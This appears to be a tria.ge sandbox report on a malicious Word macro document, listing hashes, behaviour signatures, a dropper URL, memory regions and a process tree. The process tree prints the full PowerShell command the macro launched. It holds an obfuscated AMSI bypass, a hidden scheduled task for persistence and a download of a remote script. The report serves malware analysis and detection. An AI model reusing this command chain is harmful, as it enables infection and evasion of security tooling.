Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    119s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    10/04/2024, 15:02

General

  • Target

    f970630a41a2e8fe61fa3f2cf69dff87ac3fb272d006d6af866ca17264b14ff3.doc

  • Size

    1.1MB

  • MD5

    ca09b19b6975e090fb4eda6ced1847b1

  • SHA1

    a7a2f5f7a70dab85f6ee173b9cde4507ed723ac5

  • SHA256

    f970630a41a2e8fe61fa3f2cf69dff87ac3fb272d006d6af866ca17264b14ff3

  • SHA512

    c536808f3c015a4473b50817cc3181763348428652903aad26697865ba83de4ac97f4bd7977bc986133e44582913065c68b9c882e6e7ff2d8a59e45c8d0e57cb

  • SSDEEP

    12288:fDmofgI7jf+hXEX62Jp7GqRCXCXCXB3ClforCz2XCKk2XC/kZnR99Wduz:fKCgI72qkZnR99O

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://www.4sync.com/web/directDownload/QHZsERS6/rHb0lMWD.f2e6a9154ab6cd29b337d6b555367580

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\f970630a41a2e8fe61fa3f2cf69dff87ac3fb272d006d6af866ca17264b14ff3.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:384
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell systeminfo; [Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true); schtasks /create /tn WindUpdater /st 00:00 /du 9999:59 /sc once /ri 10 /f /tr 'powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -File "C:\Users\Public\WindowsKeys.ps1"'; (New-Object system.Net.WebClient).DownloadFile('https://www.4sync.com/web/directDownload/QHZsERS6/rHb0lMWD.f2e6a9154ab6cd29b337d6b555367580','C:\Users\Public\WindowsKeys.ps1')
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1464
      • C:\Windows\SysWOW64\systeminfo.exe
        "C:\Windows\system32\systeminfo.exe"
        3⤵
        • Gathers system information
        PID:2576
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\system32\schtasks.exe" /create /tn WindUpdater /st 00:00 /du 9999:59 /sc once /ri 10 /f /tr "powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -File C:\Users\Public\WindowsKeys.ps1"
        3⤵
        • Creates scheduled task(s)
        PID:1816
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1060

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      17096ad5027e2ad006f6e084353ae2a2

      SHA1

      0f2de1b030854cd25d2420f7ec3a4517cc692396

      SHA256

      0219dca521cb8d71137e9c1e9453d432388a0a2cb4a2856a142db25f26ecc32d

      SHA512

      3930a18b99c7aceda41f3d1f0c70cbcdbe5e3c496462d19ce290fef52aaaad012794300179af57ed89a13df83f6592937dade2466941ec9061d1c762688f2a53

    • memory/384-360-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-364-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-5-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-6-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-7-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-8-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-9-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-10-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-11-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-16-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-15-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-14-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-13-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-12-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-91-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-95-0x0000000005660000-0x0000000005760000-memory.dmp

      Filesize

      1024KB

    • memory/384-93-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-94-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-100-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-102-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-103-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-101-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-99-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-98-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-97-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-96-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-92-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-179-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-181-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-184-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-187-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-269-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-270-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-268-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-267-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-272-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-274-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-276-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-277-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-275-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-2-0x00000000714DD000-0x00000000714E8000-memory.dmp

      Filesize

      44KB

    • memory/384-354-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-182-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-363-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-362-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-441-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-440-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-525-0x0000000005660000-0x0000000005760000-memory.dmp

      Filesize

      1024KB

    • memory/384-439-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-361-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-359-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-358-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-357-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-356-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-355-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-353-0x0000000005660000-0x0000000005760000-memory.dmp

      Filesize

      1024KB

    • memory/384-352-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-273-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-271-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-266-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-265-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-190-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-189-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-188-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-186-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-185-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-183-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-0-0x000000002F521000-0x000000002F522000-memory.dmp

      Filesize

      4KB

    • memory/384-180-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-178-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-537-0x00000000714DD000-0x00000000714E8000-memory.dmp

      Filesize

      44KB

    • memory/384-538-0x0000000005660000-0x0000000005760000-memory.dmp

      Filesize

      1024KB

    • memory/384-558-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/384-578-0x00000000714DD000-0x00000000714E8000-memory.dmp

      Filesize

      44KB

    • memory/384-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/384-562-0x0000000005660000-0x0000000005760000-memory.dmp

      Filesize

      1024KB

    • memory/384-560-0x0000000005660000-0x0000000005760000-memory.dmp

      Filesize

      1024KB

    • memory/384-559-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/1464-536-0x0000000002740000-0x0000000002780000-memory.dmp

      Filesize

      256KB

    • memory/1464-531-0x000000006AF70000-0x000000006B51B000-memory.dmp

      Filesize

      5.7MB

    • memory/1464-529-0x000000006AF70000-0x000000006B51B000-memory.dmp

      Filesize

      5.7MB

    • memory/1464-530-0x0000000002740000-0x0000000002780000-memory.dmp

      Filesize

      256KB

    • memory/1464-557-0x000000006AF70000-0x000000006B51B000-memory.dmp

      Filesize

      5.7MB